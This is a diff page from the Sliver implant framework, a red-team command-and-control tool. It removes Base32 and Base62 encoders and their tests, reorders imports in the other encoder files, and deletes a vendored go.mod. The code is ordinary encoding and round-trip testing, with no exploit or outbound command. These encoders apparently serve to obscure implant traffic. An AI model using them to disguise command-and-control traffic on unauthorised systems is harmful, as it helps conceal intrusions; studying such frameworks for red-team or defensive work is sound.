|
||||
return &Server{}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,80 +0,0 @@
|
||||
package encoders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestBase32(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
b32 := new(Base32)
|
||||
output := b32.Encode(sample)
|
||||
data, err := b32.Decode(output)
|
||||
if err != nil {
|
||||
t.Errorf("b32 decode returned an error %v", err)
|
||||
}
|
||||
if !bytes.Equal(sample, data) {
|
||||
t.Logf("sample = %#v", sample)
|
||||
t.Logf("output = %#v", output)
|
||||
t.Logf(" data = %#v", data)
|
||||
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
|
||||
implantBase32 := new(implantEncoders.Base32)
|
||||
output2 := implantBase32.Encode(sample)
|
||||
data2, err := implantBase32.Decode(output2)
|
||||
if err != nil {
|
||||
t.Errorf("implant b32 decode returned an error %v", err)
|
||||
}
|
||||
if !bytes.Equal(sample, data2) {
|
||||
t.Logf("sample = %#v", sample)
|
||||
t.Logf("output2 = %#v", output2)
|
||||
t.Logf(" data2 = %#v", data2)
|
||||
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
|
||||
output = b32.Encode(sample)
|
||||
data, err = implantBase32.Decode(output)
|
||||
if err != nil {
|
||||
t.Errorf("b32 decode returned an error %v", err)
|
||||
}
|
||||
if !bytes.Equal(sample, data) {
|
||||
t.Logf("sample = %#v", sample)
|
||||
t.Logf("output = %#v", output)
|
||||
t.Logf(" data = %#v", data)
|
||||
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
|
||||
output = implantBase32.Encode(sample)
|
||||
data, err = b32.Decode(output)
|
||||
if err != nil {
|
||||
t.Errorf("b32 decode returned an error %v", err)
|
||||
}
|
||||
if !bytes.Equal(sample, data) {
|
||||
t.Logf("sample = %#v", sample)
|
||||
t.Logf("output = %#v", output)
|
||||
t.Logf(" data = %#v", data)
|
||||
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
}
|
||||
@@ -1,210 +0,0 @@
|
||||
package encoders
|
||||
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 Shawn Wang <jxskiss@126.com>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
-------------------------------------------------------------------------------
|
||||
|
||||
Modifications by moloch to work with Sliver
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"math/bits"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
const (
|
||||
base = 62
|
||||
compactMask = 0x1E // 00011110
|
||||
mask5bits = 0x1F // 00011111
|
||||
)
|
||||
|
||||
// Base62EncoderID - EncoderID
|
||||
const Base62EncoderID = 43
|
||||
|
||||
// Base62 Encoder
|
||||
type Base62 struct{}
|
||||
|
||||
const base62Alphabet = "aBCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnopqrstuvwxyz0123456789"
|
||||
|
||||
// Encode - Base62 Encode
|
||||
func (e Base62) Encode(data []byte) []byte {
|
||||
return []byte(NewEncoding(base62Alphabet).EncodeToString(data))
|
||||
}
|
||||
|
||||
// Decode - Base62 Decode
|
||||
func (e Base62) Decode(data []byte) ([]byte, error) {
|
||||
return NewEncoding(base62Alphabet).DecodeString(string(data))
|
||||
}
|
||||
|
||||
type Base62Encoder struct {
|
||||
encode [base]byte
|
||||
decodeMap [256]byte
|
||||
}
|
||||
|
||||
func NewEncoding(encoder string) *Base62Encoder {
|
||||
if len(encoder) != base {
|
||||
panic("encoding alphabet is not 62-bytes long")
|
||||
}
|
||||
for i := 0; i < len(encoder); i++ {
|
||||
if encoder[i] == '\n' || encoder[i] == '\r' {
|
||||
panic("encoding alphabet contains newline character")
|
||||
}
|
||||
}
|
||||
|
||||
e := new(Base62Encoder)
|
||||
copy(e.encode[:], encoder)
|
||||
for i := 0; i < len(e.decodeMap); i++ {
|
||||
e.decodeMap[i] = 0xFF
|
||||
}
|
||||
for i := 0; i < len(encoder); i++ {
|
||||
e.decodeMap[encoder[i]] = byte(i)
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) Encode(src []byte) []byte {
|
||||
if len(src) == 0 {
|
||||
return []byte{}
|
||||
}
|
||||
encoder := newEncoder(src)
|
||||
return encoder.encode(enc.encode[:])
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) EncodeToString(src []byte) string {
|
||||
ret := enc.Encode(src)
|
||||
return string(ret)
|
||||
}
|
||||
|
||||
type encoder struct {
|
||||
b []byte
|
||||
pos int
|
||||
}
|
||||
|
||||
func newEncoder(src []byte) *encoder {
|
||||
return &encoder{
|
||||
b: src,
|
||||
pos: len(src) * 8,
|
||||
}
|
||||
}
|
||||
|
||||
func (enc *encoder) next() (byte, bool) {
|
||||
var i, pos int
|
||||
var j, blen byte
|
||||
pos = enc.pos - 6
|
||||
if pos <= 0 {
|
||||
pos = 0
|
||||
blen = byte(enc.pos)
|
||||
} else {
|
||||
i = pos / 8
|
||||
j = byte(pos % 8)
|
||||
blen = byte((i+1)*8 - pos)
|
||||
if blen > 6 {
|
||||
blen = 6
|
||||
}
|
||||
}
|
||||
shift := 8 - j - blen
|
||||
b := enc.b[i] >> shift & (1<<blen - 1)
|
||||
|
||||
if blen < 6 && pos > 0 {
|
||||
blen1 := 6 - blen
|
||||
b = b<<blen1 | enc.b[i+1]>>(8-blen1)
|
||||
}
|
||||
if b&compactMask == compactMask {
|
||||
if pos > 0 || b > mask5bits {
|
||||
pos++
|
||||
}
|
||||
b &= mask5bits
|
||||
}
|
||||
enc.pos = pos
|
||||
|
||||
return b, pos > 0
|
||||
}
|
||||
|
||||
func (enc *encoder) encode(encTable []byte) []byte {
|
||||
ret := make([]byte, 0, len(enc.b)*8/5+1)
|
||||
x, hasMore := enc.next()
|
||||
for {
|
||||
ret = append(ret, encTable[x])
|
||||
if !hasMore {
|
||||
break
|
||||
}
|
||||
x, hasMore = enc.next()
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
type CorruptInputError int64
|
||||
|
||||
func (e CorruptInputError) Error() string {
|
||||
return "illegal base62 data at input byte " + strconv.FormatInt(int64(e), 10)
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) Decode(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return []byte{}, nil
|
||||
}
|
||||
dec := decoder(src)
|
||||
return dec.decode(enc.decodeMap[:])
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) DecodeString(src string) ([]byte, error) {
|
||||
return enc.Decode([]byte(src))
|
||||
}
|
||||
|
||||
type decoder []byte
|
||||
|
||||
func (dec decoder) decode(decTable []byte) ([]byte, error) {
|
||||
ret := make([]byte, len(dec)*6/8+1)
|
||||
idx := len(ret)
|
||||
pos := byte(0)
|
||||
b := 0
|
||||
for i, c := range dec {
|
||||
x := decTable[c]
|
||||
if x == 0xFF {
|
||||
return nil, CorruptInputError(i)
|
||||
}
|
||||
if i == len(dec)-1 {
|
||||
b |= int(x) << pos
|
||||
pos += byte(bits.Len8(x))
|
||||
} else if x&compactMask == compactMask {
|
||||
b |= int(x) << pos
|
||||
pos += 5
|
||||
} else {
|
||||
b |= int(x) << pos
|
||||
pos += 6
|
||||
}
|
||||
if pos >= 8 {
|
||||
idx--
|
||||
ret[idx] = byte(b)
|
||||
pos %= 8
|
||||
b >>= 8
|
||||
}
|
||||
}
|
||||
if pos > 0 {
|
||||
idx--
|
||||
ret[idx] = byte(b)
|
||||
}
|
||||
|
||||
return ret[idx:], nil
|
||||
}
|
||||
@@ -1,80 +0,0 @@
|
||||
package encoders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestBase62(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
b62 := new(Base62)
|
||||
output := b62.Encode(sample)
|
||||
data, err := b62.Decode(output)
|
||||
if err != nil {
|
||||
t.Errorf("b62 decode returned an error %v", err)
|
||||
}
|
||||
if !bytes.Equal(sample, data) {
|
||||
t.Logf("sample = %#v", sample)
|
||||
t.Logf("output = %#v", output)
|
||||
t.Logf(" data = %#v", data)
|
||||
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
|
||||
implantBase62 := new(implantEncoders.Base62)
|
||||
output2 := implantBase62.Encode(sample)
|
||||
data2, err := implantBase62.Decode(output2)
|
||||
if err != nil {
|
||||
t.Errorf("implant b62 decode returned an error %v", err)
|
||||
}
|
||||
if !bytes.Equal(sample, data2) {
|
||||
t.Logf("sample = %#v", sample)
|
||||
t.Logf("output2 = %#v", output2)
|
||||
t.Logf(" data2 = %#v", data2)
|
||||
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
|
||||
output = b62.Encode(sample)
|
||||
data, err = implantBase62.Decode(output)
|
||||
if err != nil {
|
||||
t.Errorf("b62 decode returned an error %v", err)
|
||||
}
|
||||
if !bytes.Equal(sample, data) {
|
||||
t.Logf("sample = %#v", sample)
|
||||
t.Logf("output = %#v", output)
|
||||
t.Logf(" data = %#v", data)
|
||||
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
|
||||
output = implantBase62.Encode(sample)
|
||||
data, err = b62.Decode(output)
|
||||
if err != nil {
|
||||
t.Errorf("b62 decode returned an error %v", err)
|
||||
}
|
||||
if !bytes.Equal(sample, data) {
|
||||
t.Logf("sample = %#v", sample)
|
||||
t.Logf("output = %#v", output)
|
||||
t.Logf(" data = %#v", data)
|
||||
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
package encoders
|
||||
|
||||
import "encoding/base64"
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,8 +20,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "encoding/base64"
|
||||
|
||||
// Base64EncoderID - EncoderID
|
||||
const Base64EncoderID = 13
|
||||
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
package encoders
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,13 +25,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestBase64(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
package encoders
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,13 +25,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestGzipEnglish(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
package encoders
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,13 +25,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestEnglish(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
|
||||
@@ -1,10 +1,5 @@
|
||||
package encoders
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -23,6 +18,11 @@ import (
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
)
|
||||
|
||||
// GzipEncoderID - EncoderID
|
||||
const GzipEncoderID = 49
|
||||
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
package encoders
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,13 +25,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestGzip(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
package encoders
|
||||
|
||||
import "encoding/hex"
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -20,6 +18,8 @@ import "encoding/hex"
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "encoding/hex"
|
||||
|
||||
// HexEncoderID - EncoderID
|
||||
const HexEncoderID = 92
|
||||
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
package encoders
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,13 +25,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestHex(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
module github.com/AlecAivazis/survey/v2
|
||||
|
||||
require (
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
|
||||
github.com/kr/pty v1.1.4 // indirect
|
||||
github.com/mattn/go-colorable v0.1.2 // indirect
|
||||
github.com/mattn/go-isatty v0.0.8
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/stretchr/testify v1.2.1
|
||||
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5
|
||||
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1 // indirect
|
||||
golang.org/x/text v0.3.0
|
||||
)
|
||||
|
||||
go 1.13
|
||||
Loaded 100 of 244 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user